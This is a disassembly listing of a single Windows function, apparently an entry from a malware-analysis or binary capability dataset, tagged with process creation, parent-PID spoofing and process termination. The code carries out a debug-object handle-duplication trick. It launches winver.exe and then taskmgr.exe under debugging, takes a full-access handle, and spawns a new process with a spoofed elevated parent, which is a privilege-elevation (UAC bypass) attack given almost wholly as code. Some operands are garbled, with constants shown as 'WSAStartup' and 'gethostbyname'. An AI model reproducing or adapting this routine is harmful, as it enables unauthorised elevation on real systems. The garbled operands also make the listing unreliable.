Function at 0x18001e830
Capabilities:
Create process on windows
Spoof parent pid
Terminate process

Disassembly:
mov r11, rsp
push rbp
push rsi
lea rbp, [r11 - 0x518]
sub rsp, 0x608
mov rax, qword [0x1800634c0]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov qword [r11 - 0x18], r12
lea rdx, str.C:windows_system32_
mov qword [r11 - 0x28], r15
xor r12d, r12d
mov r15, rcx
mov qword [rsp + 0x60], r12
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.winver.exe
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rax, [rsp + 0x78]
xor r8d, r8d
lea rdx, [rbp + 0xd0]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0xd0]
call fcn.18001e440
test al, al
jne 0x18001e8bd
mov esi, 0xc0000001
jmp 0x18001ec05
mov qword [rsp + 0x630], rdi
lea r8, [rsp + 0x60]
mov rdi, qword [rsp + 0x78]
mov r9d, 8
mov rcx, rdi
mov qword [rsp + 0x20], r12
mov edx, 0x1e
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov esi, eax
mov rcx, rdi
test eax, eax
jns 0x18001e911
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001ebfd
mov rdx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtRemoveProcessDebug]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.C:windows_system32_
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.taskmgr.exe
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
lea rdi, [rsp + 0x78]
mov ecx, 0x18
lea rdx, [rbp + 0xd0]
rep stosb byte [rdi], al
lea rdi, [rbp + 0x20]
mov ecx, 0xb0
rep stosb byte [rdi], al
lea rax, [rsp + 0x78]
mov r8d, 1
lea rcx, [rbp + 0xd0]
mov qword [rsp + 0x48], rax
call fcn.18001e440
test al, al
jne 0x18001e9ac
mov esi, 0xc0000001
jmp 0x18001ebfd
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_DbgUiSetThreadDebugObject]
mov edx, 0xffffffff
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
test eax, eax
je 0x18001ebfd
mov qword [rsp + 0x5f8], r14
cmp dword [rbp + 0x20], 3
jne 0x18001e9e5
mov r14, qword [rbp + 0x38]
test r14, r14
jne 0x18001ea0f
mov edx, dword [rbp + 0x28]
mov r8d, 0x10002
mov ecx, dword [rbp + 0x24]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
test eax, eax
jne 0x18001e9d6
jmp 0x18001ebf5
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x30], r12d
mov r8, rdx
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x68]
mov qword [rsp + 0x68], r12
mov rcx, r14
mov dword [rsp + 0x20], 0x1fffff
call qword [sym.imp.ntdll.dll_NtDuplicateObject]
mov esi, eax
test eax, eax
js 0x18001ebb2
mov rax, qword [rsp + 0x68]
lea rdi, [rbp - 0x68]
mov qword [rbp - 0x70], rax
mov ecx, 0x18
xor eax, eax
mov qword [rsp + 0x628], rbx
rep stosb byte [rdi], al
lea rdi, [rbp - 0x50]
mov ecx, WSAStartup
mov ebx, gethostbyname
rep stosb byte [rdi], al
mov dword [rbp - 0x50], WSAStartup
mov qword [rsp + 0x70], rbx
cmp rbx, 0x400
ja 0x18001eb9f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rbp + 0x18], rax
test rax, rax
je 0x18001eb8a
lea r9, [rsp + 0x70]
xor r8d, r8d
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x18001eb60
mov rcx, qword [rbp + 0x18]
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r12
xor edx, edx
mov qword [rsp + 0x28], r12
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x18001eb60
lea rax, [rbp - 0x68]
mov dword [rbp - 0x14], 1
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rbp - 0x50]
mov word [rbp - 0x10], r12w
mov qword [rsp + 0x48], rax
mov r8, r15
mov qword [rsp + 0x40], r12
xor edx, edx
mov qword [rsp + 0x38], r12
xor ecx, ecx
mov dword [rsp + 0x30], 0x80210
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x18001eb60
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rbp + 0x18]
test rdi, rdi
je 0x18001eb76
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rdi, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x18001eb9f
mov rbx, qword [rsp + 0x70]
jmp 0x18001ea82
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
mov rbx, qword [rsp + 0x628]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_DbgUiSetThreadDebugObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, r14
mov qword [rsp + 0x60], r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x5f8]
mov rdi, qword [rsp + 0x630]
mov rcx, qword [rsp + 0x60]
mov r15, qword [rsp + 0x5f0]
mov r12, qword [rsp + 0x600]
test rcx, rcx
je 0x18001ec25
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, esi
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.180048990
add rsp, 0x608
pop rsi
pop rbp
ret